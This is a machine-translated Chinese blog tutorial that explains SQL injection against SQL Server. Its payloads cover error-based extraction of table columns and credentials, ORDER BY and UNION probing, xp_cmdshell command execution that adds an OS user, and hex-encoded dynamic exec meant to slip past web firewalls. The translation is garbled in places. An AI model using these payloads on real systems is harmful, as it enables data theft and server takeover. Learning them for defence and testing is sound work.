当前位置:网站首页>Zhangxiaobai's way of penetration (III) -- detailed explanation of SQL injection vulnerability principle (SQL Server)
Zhangxiaobai's way of penetration (III) -- detailed explanation of SQL injection vulnerability principle (SQL Server)
2022-06-25 12:32:00 【Litbai_ zhang】
Common database injection
For most databases ,SQL The principle of injection is basically similar , Because every database follows a SQL Grammar standards . But there are also differences between them, including grammar 、 Functions and so on . therefore , When injecting against different databases , Ideas 、 The method can not be exactly the same . Limited by personal experience , In the next example , Just talk about Oracle 11g、MySQL 5.1、SQL Server2008 Three kinds of database injection .
It is worth mentioning the injection
An attacker's injection into the database , Nothing more than using the database to obtain more data or greater permissions , Then the utilization methods can be roughly classified into the following categories :
- Query data
- Read and write files
- Carry out orders
Generally, if permission permits , Generally, the database supports the above three operations . The attacker injects , No matter what database , They are all doing these three things , It's just different database Injection SQL It's just a different sentence .
SQL Server
1. Use error messages to extract information
SQL Server Is a very good database , He can pinpoint the error message , For developers , This is a very beautiful thing , It is also a very good thing for the attacker , Because an attacker can extract data from error messages .
(1) Enumerate current tables and columns
Now there's a watch , The structure is as follows :
create table users(
id int not null identity(1,1),
username varchar(20) not null,
password varchar(20) not null,
privs int not null,
email varchar(50)
)
Inquire about root User details ,SQL The statement is as follows
select * from users where username='root'
Attackers can take advantage of SQL Server Features to get sensitive information , Enter the following statement :
'having 1=1- -
Final executed SQL Statement for :
select * from users where username='root' and password='root' having 1=1- -'
that SQL The actuator will throw an error ( Version difference , The error message displayed will also be different )
news 8120, Level 16, state 1, The first 2 That's ok
Select the columns in the list ’users.id’ Invalid , Because the column is not included in the aggregate function or GROUP BY clause .
You can find that the current table name is "users", And it exists "ID" Name , Attackers can use this feature to continue to get other column names , Enter the following SQL sentence :
select * from users where username='root' and password='root' group by users.id having 1=1- -'
Actuator error prompt :
news 8120, Level 16, state 1, The first 2 That's ok
Select the columns in the list ’users.username’ Invalid , Because the column is not included in the aggregate function or GROUP BY clause .
You can see that the actuator throws again "username" Name , Thus, you can recursively query in turn , Until no error message is returned , In this way, we can make use of having Clause " Inquire about " List all column names of the current table .
(2) Using data type errors to extract data
If you try to compare a string with a non string , Or when converting a string to another incompatible type , that SQL The editor will throw an exception , For example, the following SQL sentence :
select * from users where username='root' and password='root' and 1 > (select top 1 username from users)
Actuator error prompt :
news 245, Level 16, state 1, The second line
Will be varchar value ’root’ Convert to data type int When the failure .
You can find root The account has been SQL Server to " sell " 了 , This method can recursively deduce all account information :
select * from users where username='root' and password='root' and 1 > (select top 1 username from users where username not in ('root'))
If you do not embed subqueries , You can also make the database report errors , And that's where it comes in SQL Server Built in functions for CONVERT perhaps CASE function , The functions of these two functions are : Convert one data type to another . Enter the following SQL sentence :
select * from users where username='root' and password='root' and 1=convert(int ,(select top 1 users.username from users))
If recursion is troublesome , By using FOR XML PATH Statement to generate the queried data XML,SQL The statement is as follows :
select * from users where username='root' and password='root' and 1=convert(int,(select stuff((select ','+users.username ,'|' +users.password from users for xml path(' ')),1,1,' ')))
The actuator throws an exception :
news 245, Level 16, state 1, first line
Will be nvchar value ’root|root,admin,xxser|xxser’ Convert to data type int When the failure .
2. Fetch metadata
SQL Sever Provides a large number of views , Easy access to metadata . The following will be used INFORMATION_SCHEMA.TABLES And INFORMATION_SCHEMA.COLUMNS The view gets the database table and its fields .
Get the current database table :
SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES
The results are as follows
| TABLE_NAME | |
|---|---|
| 1 | Result |
| 2 | Student |
| 3 | tests |
| 4 | users |
| 5 | Grade |
| 6 | Subject |
obtain Student Table field :
SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME=‘Student’
The results are as follows
| COLUMN_NAME | |
|---|---|
| 1 | StudentNo |
| 2 | LoginPwd |
| 3 | StudentNmae |
| 4 | Sex |
| 5 | Gradeld |
| 6 | Phone |
There are other commonly used system database views as shown in the following table :
| Database view | explain |
|---|---|
| sys.databases | SQL Server All databases in |
| sys.sql_logins | SQL Server All logins in |
| Information_schema.tables | Tables in the current user database |
| information_schema.columns | Columns in the current user database |
| sys.all_columns | Union of all columns of user-defined objects and system objects |
| sys.database_principals | Every permission or exception permission in the database |
| sys.database_files | Database files stored in the database |
| sysobjects | Every object created in the database ( Constraints, for example 、 Logs and stored procedures ) |
3.Order by Clause
by SELECT Column sorting of query , If you also specify TOP keyword ,Order by Clause in view 、 Inline function 、 Invalid in derived tables and subqueries .
Attackers usually inject Order by Statement to determine the number of columns in this table .
- SQL Perform normally
select id ,username,password from users where id =1
- Sort by first column ,SQL Perform normally
select id ,username,password from users where id =1 Order by 1
- Sort by the second column ,SQL Perform normally
select id ,username,password from users where id =1 Order by 2
- Sort by the third column ,SQL Perform normally
select id ,username,password from users where id =1 Order by 3
- Sort by the third column ,SQL Perform normally
select id ,username,password from users where id =1 Order by 4
- Throw an exception
news 108, Level 16, state 1, The first 1 That's ok
Order by Location number 4 The number of items in the selection list is exceeded .
select id ,username,password from users where id =1 Order by 4
stay SQL In the sentence , Only three columns were queried , Instead, we require the database to be sorted by the fourth column , So the database throws an exception , The attacker also learned that the current SQL Statement has several columns . stay Oracle、MySQL The same applies to the database .
After knowing the number of columns , An attacker can cooperate UNION Keyword for the next attack .
4.UNION Inquire about
UNION Keyword combines two or more query results into a single result set , Commonly known as joint query , Most databases support UNION Inquire about , Such as MySQL、SQL Server、Oracle、DB2 etc. . The following lists the use of UNION Basic rules for merging two result sets
- The number of columns in all queries must be the same
- Data type must be compatible
Patients with a : Number of federated query probe fields
Previously introduced USER In the table , Inquire about id Field is 1 Users of , natural SQL Statement for :
select di ,username,password,sex from users where id =1
Use UNION Query pair id Field injection ,SQL The statement is as follows :
select di ,username,password,sex from users where id =1 union select null
The database sent an exception :
news 205, Level 16, state 1, The first 1 That's ok
Use UNION、INTERSECT or EXCEPT The desired query to be merged by the operator must have the same number of expressions in its target list .
recursive query , Until no error occurs , Then we can know User The number of fields queried by the table is
union select null,null
union select null,null,null
Example 2 : Joint query of sensitive information
We have already described how to get the number of fields , Next, let's take a look at how attackers use UNION Keyword query sensitive information ,UNION Queries can be found at SQL Injection plays a very big role .
If we know that the number of columns is 4, You can continue to inject with the following statement :
id=5 union select 'x' ,null,null,null from sysobject where xtype= 'U'
If the first 1 Column data type mismatch , The database will report an error , At this point, you can continue the recursive query , Until the statement executes normally .
id=5 union select null, 'x' ,null,null from sysobject where xtype='U'
id=5 union select null, null ,'x',null from sysobject where xtype='U'
The statement executes normally , Represents data type compatibility , It can be x Replace with SQL sentence , Query sensitive information .
There are also attackers who like to use UNION ALL keyword ,UNION and UNION ALL The biggest difference is UNION Will automatically remove duplicate data , And sort by default .
5. Innocent functions
SQL Server Provides a lot of system functions , With this system function, you can access SQL Server Information in the system table , Instead of using SQL Statement query . System functions bring us great convenience, but also become a sharp tool for attackers to obtain information .
Using system functions is a very simple thing , for example :
- select suser_name(): Returns the login ID of the user ;
- select user_name(): Returns the database user name based on the specified identification number ;
- select db_name(): Return database name ;
- selectis_member(‘db_owner’): Database role or not ;
- select convert(int,‘5’): Data type conversion .
SQL Common functions are shown in the following table
| function | explain |
|---|---|
| stuff | String truncation function |
| ascii | take ASCII code |
| char | according to ASCII Code take character |
| getdate | Return date |
| count | Returns the total number of entries in the group |
| cast | Explicitly convert an expression of one data type to an expression of another data type |
| rand | Returns a random value |
| is_srvrolemember | Appoint SQL Server Is the login a member of the specified server role |
6. Dangerous stored procedures
stored procedure (Stored Procedure) It is a group of databases in a large database system to complete specific functions SQL" function ", Such as : Execute system commands , Check the registry , Read the disk directory, etc .
The stored procedures most commonly used by attackers are “xp_cmdshell”, This stored procedure allows the user to execute operating system commands .
for example :http://www.secbug.org/test.aspx?id=1 There are injection points , Then the attacker can execute command attack :
http://www.secbug.org/test.aspx?id=1;exec xp_cmdshell 'net user test /add'
Final executed SQL The statement is as follows :
select * from table where id=1;exec xp_cmdshell 'net user test test /add'
Attackers can directly exploit xp_cmdshell Manipulate the server .
ps: Not any database user can use such stored procedures , The user must hold CONTROL SERVER jurisdiction .
image xp_cmdshell There are many stored procedures like , Common hazardous stored procedures are shown in the following table
| The process | explain |
|---|---|
| sp_addlogin | Create a new SQL Server Sign in , This login allows the user to use SQL Server Authentication connects to SQL Server example |
| sp_dropuser | Delete database users from the current database |
| xp_enumgroups | Provide Microsoft Windows Local group list or in the specified Windows List of global groups defined in the domain |
| xp_regwrite | Unpublished stored procedures , Write to the registry |
| xp_regread | Read registry |
| xp_regdeletevalue | Delete registry |
| xp_dirtree | Read directory |
| sp_password | Change password |
| xp_servicecontrol | Stop or activate a service |
Attackers may also write some stored procedures themselves , such as I/O operation ( File read / Write ), These are all achievable .
in addition , Any database that uses special functions or stored procedures , All require specific permissions , Otherwise it won't work .
SQL Server The roles and permissions of the database are as follows :
| role | jurisdiction |
|---|---|
| bulkadmin | Role members can run BULK INSERT sentence |
| dbcreator | You can create 、 change 、 Delete and restore any databases |
| diskadmin | Can manage disk files |
| processadmin | You can terminate processes running in the database engine instance |
| securityadmin | You can manage logins and their properties . You can use GRANT、DENY and REVOKE Server level permissions ; It can also be used GRANT、DENY and REVOKE Database level permissions . Besides , You can also reset SQL Server Face password of login name |
| serveradmin | You can change the server wide configuration options and turn off the server |
| setupadmin | You can add and remove linked servers , And can execute some system stored procedures |
| sysadmin | Role members can perform any activity in the database engine . By default ,Windows BUILTIN\Administrators Group ( Local Administrators group ) All of our members are sysadmin Fixed server role members |
7. Dynamic execution
SQL Server Support dynamic execution of statements , The user can submit a string to execute SQL sentence , for example :
exec ('select username,password from users')
exec('select'+'t username,password fro' +'m users')
It can also be defined by 16 It's binary SQL sentence , Use exec Function execution . Most of the Web Application firewalls filter single quotes , utilize exec perform 16 Base number SQL Statement does not have single quotation marks , This feature can break through many firewalls and anti injection programs , Such as :
declare @query varchar(888)
select @query=0x73656c6563742031
exec(@query)
perhaps
declare/**/@query/**/varchar(888)/**/select/**/@query=0x73656c6563742031/**/exec(@query)
边栏推荐
- Image tagging to obtain the coordinates of the image in the ImageView
- Understanding and construction of devsecops and Devops
- Time series analysis - how to use unit root test (ADF) correctly?
- ARM V7 协处理器
- What is the primordial universe
- R语言使用构建有序多分类逻辑回归模型、epiDisplay包的ordinal.or.display函数获取有序logistic回归模型的汇总统计信息(变量对应的优势比及其置信区间、以及假设检验的p值)
- New and old cluster migration of Minio data
- [data midrange] what is the oneid of the data midrange? Isn't the master data fragrant?
- sudo: ulimit: command not found
- R language uses the multinom function of NNET package to build an unordered multi classification logistic regression model, and uses the lrtest function of epidisplay package to perform multiple model
猜你喜欢

Understanding and construction of devsecops and Devops

Explanation of ideas and sharing of pre-processing procedures for 2021 US game D (with pre-processing data code)

15、wpf之button样式小记
![[oceanbase] Introduction to oceanbase and its comparison with MySQL](/img/1c/bd2bcddb7af4647407d2bc351f5f5d.png)
[oceanbase] Introduction to oceanbase and its comparison with MySQL

19. Implementation of MVVM architecture based on WPF event to command

A set of automated paperless office system (oa+ approval process) source code: with data dictionary

Dark horse shopping mall ---3 Commodity management

揭秘GaussDB(for Redis):全面对比Codis

Full nanny tutorial of Market Research Competition (experience sharing)

Execution order of MySQL query statements join, on and where
随机推荐
Learning notes 2022 overview | automatic graph machine learning, describing AGML methods, libraries and directions
Ten commandments of self-learning in machine learning
2022 meisai e topic ideas sharing + translation
2022 meisai topic C idea sharing + translation
Controllable character image synthesis based on attribute decomposition and Gan reproduction
R language dplyr package summary_ The at function calculates the count number, mean and median of multiple data columns (specified by vectors) in the dataframe data, and specifies na RM parameter, spe
揭秘GaussDB(for Redis):全面对比Codis
Dark horse shopping mall ---2 Distributed file storage fastdfs
19. Implementation of MVVM architecture based on WPF event to command
R语言dist函数计算dataframe数据中两两样本之间的距离返回样本间距离矩阵,通过method参数指定距离计算的方法、例如欧几里得距离
ARM 立即数
Qiantang Pingou source code -- Qiantang Pingou app system development source code sharing
19、wpf之事件转命令实现MVVM架构
R language uses GLM function to build Poisson logarithmic linear regression model, processes three-dimensional contingency table data to build saturation model, and poisgof function of epidisplay pack
R语言使用nnet包的multinom函数构建无序多分类logistic回归模型、使用epiDisplay包的lrtest函数执行多个模型似然比检验对比两个模型的性能是否有差异
An article clearly explains MySQL's clustering / Federation / coverage index, back to table, and index push down
SDN system method | 9 Access network
图片打标签之获取图片在ImageView中的坐标
Digital currency exchange -- digital currency exchange system development source code sharing
Thinkphp3 reinforcement i() function filter single quotation marks